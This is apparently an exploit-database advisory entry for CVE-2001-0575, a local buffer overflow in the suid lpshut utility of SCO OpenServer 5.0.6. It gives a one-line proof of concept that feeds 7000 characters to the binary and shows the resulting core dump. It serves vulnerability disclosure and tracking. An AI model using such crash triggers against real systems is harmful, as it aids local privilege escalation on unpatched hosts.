SCO Open Server 5.0.6 - lpshut Buffer Overflow

Author: Secure Network Operations
type: dos
platform: sco
port: 
date_added: 2001-03-27  
date_updated: 2012-08-22  
verified: 1  
codes: CVE-2001-0575;OSVDB-7643  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 20737.txt  
source: https://www.securityfocus.com/bid/2555/info


SCO OpenServer 5.0.6 (and possibly earlier versions) ships with several suid bin executables used in printer administration and related tasks.

This includes lpshut, a component used to shut down the LP print service. 'lpshut' contains a locally exploitable bufffer overflow due to a lack of bounds checking during operations performed on user-supplied data.

An attacker may exploit this vulnerability to execute arbitrary code with effective userid 'bin' privileges.

/opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpshut `perl -e 'print "A" x 7000'`

Memory fault - core dumped